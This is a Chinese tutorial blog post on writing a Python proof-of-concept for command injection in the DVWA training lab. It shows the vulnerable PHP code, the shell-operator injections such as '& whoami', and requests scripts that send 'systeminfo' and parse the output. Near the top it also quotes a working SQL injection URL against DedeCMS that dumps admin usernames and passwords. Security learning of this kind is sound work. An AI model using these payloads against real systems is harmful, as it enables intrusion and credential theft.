python编写的poc,以DVWA-command_injection为例

POC编写:
分为开源框架和非开源框架。
如果只是测试用,非开源比较多一些
POC编写思路:
根据漏洞产生原理区分:
这是织梦的一个注入:

- /plus/recommend.php?&aid=18_ _FILES[type][tmp_ name]=\%27%20%2
0or%20mid= @%60\%27%60%20/*!50000union*//*!5000Oselect*/1,2,3,
%28select%20%20CONCAT%280x7c,userid,0x7c,pwd%29+ from+ %60%
23@_ admin%60%20limit +0,1%29,5,6,7,8,9%23@%60\%27%60+&_ _FIL
ES[type][name]= 1jpg&_ FILES[type][type]= application/octet-
stream&_ FILES[type][size]=111

使用方法:在前面加上网址,就会爆出相应的账号和密码。
到时候将账号和密码通过正则表达式,就可以获取。
在编写本节的POC之前,先介绍下POC和exp(小白一个,我也刚学安全开发)
首先POC是用来验证漏洞存在的。
exp是则是利用漏洞来执行的恶意操作。
初级情况都是用框架来生成exp和poc的比如,metasploit,pocsuite。

以DVWA的Command_Injection为例(low级别):

首先:在编写POC代码前,有很多工作要做,代码的编写可能连一半的工作量都不到。

1:分析漏洞

1:安全等级为low,漏洞点是**Command Injection(命令注入)** 模块

当你输入127.0.0.1时,它显示:
这里插入图片描述
看一下源代码:

<?php
if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];   //获得表单数据
    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // php_uname()可获得操作系统名称,'s'代表system,
        //stristr是一个字符串搜索函数(不区分大消息)
        //这句的意思是,如果系统名称中包含windows NT 
        $cmd = shell_exec( 'ping  ' . $target );
        //就会执行ping命令,对象就是输入的target
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
        //ping -c 4是针对uinx系统的,也是执行ping
    }
    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
    //将执行的结果显示到页面
}
?>

这个源代码乍一看,很有问题。
shell_exec之前学过这函数很危险,用户提交数据会导致命令注入攻击。
而且输入的IP没有任何过滤措施。
当采用与 或 运算符应该能实现绕过。
ping 127.0.0.1 & whoami
ping 127.0.0.1 && whoami
ping 127.0.0.1 | whoami
ping 127.0.0.1 || whoami
在这里插入图片描述

头三个有用。
开始分析:

先抓个包分析一下它流量是怎么走的。(用BP抓的)

在这里插入图片描述
可得出的信息有
1:文件目录:

/vulnerabilities/exec/ 

2:请求方式是 POST
3:域名是http://dvwa
4:有cookie
开始编程:
1:实现通信

# coding=utf-8
import requests  
url = "http://dvwa/vulnerabilities/exec/"
data  = {"ip":"& whoami"}
# 禁止跳转 allow_redirects = False
response = requests.post(url, data, allow_redirects=False)
#allow_redirects=False是不能重定向的意思。response得到的是服务器返回的所有信息,包括状态码、响应头和响应正文等。
print("状态: {}".format(response.status_code))
print("302跳转地址: {}".format(response.next.url))

allow_redirects=False 是在页面转跳前显示出它要转跳的地址

302,而且它要转跳的是login.php登录页面。
这个我百度了是因为没有cookie,下一步把cookie加进去(前面的抓包信息中有)
将cookie写进hearders里
通过抓包信息可知,data除了ip&命令,还有Submit

# coding=utf-8
import requests
url = "http://dvwa/vulnerabilities/exec/"
headers = {"Cookie":"PHPSESSID=b1a2qpnuthfnim3960sliivapv; security=low"}
data = {"ip":"127.0.0.1 & whoami","Submit":"Submit"}
# 禁止跳转 allow_redirects = False
#cookie:b1a2qpnuthfnim3960sliivapv;
response = requests.post(url, data, allow_redirects=False,headers=headers)
print("状态: {}".format(response.status_code))
print("结果:{}".format(response.next))

在这里插入图片描述
状态是200了。
目前只实现了,与该url的传参通信。下一步是反应处漏洞特征
前面说过response会返回状态码、状态码、响应头和响应正文。其中可以从相应正文中判断受否出现漏洞特征。
响应正文是

response.text

如何从响应正文中判断出它执行了命令
我采用的方法是用systeminfo验证,返回的响应中一定会存在system

# coding=utf-8
import requests
url = "http://dvwa/vulnerabilities/exec/"
headers = {"Cookie":"PHPSESSID=b1a2qpnuthfnim3960sliivapv; security=low"}
data = {"ip":"127.0.0.1 & systeminfo","Submit":"Submit"}
# 禁止跳转 allow_redirects = False
#cookie:b1a2qpnuthfnim3960sliivapv;
response = requests.post(url, data, allow_redirects=False,headers=headers)
if response.status_code == 200 and response.text.find("system") != -1:
    print("有漏洞")
    print(response.text)
else:
    print("没有漏洞")
print("状态: {}".format(response.status_code))

在这里插入图片描述
运行后成功出现漏洞特征。
下一步:虽然已经具有判断存在漏洞的能力,但是显示的是html语句,看起来很不顺眼,下面是解析HTML文档。
加入BeautifulSoup库

from bs4 import BeautifulSoup
if response.status_code == 200 and response.text.find("sys") != -1:
    print("[*] {} 有command_injection漏洞".format(url))
    soup = BeautifulSoup(response.text, 'lxml')
    # 在html找到第一个pre标签并返回,取出内容就是命令执行的结果
    pre = soup.find("pre")
    print("[*] response {}".format(pre.text))
else:
    print("[x] {} 没漏洞".format(url))
    soup = BeautifulSoup(response.text, 'lxml')
    pre = soup.find("pre")
    print("[*] response {}".format(pre.text))

127.0.0.1 & systeminfo
在这里插入图片描述
127.0.0.1
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值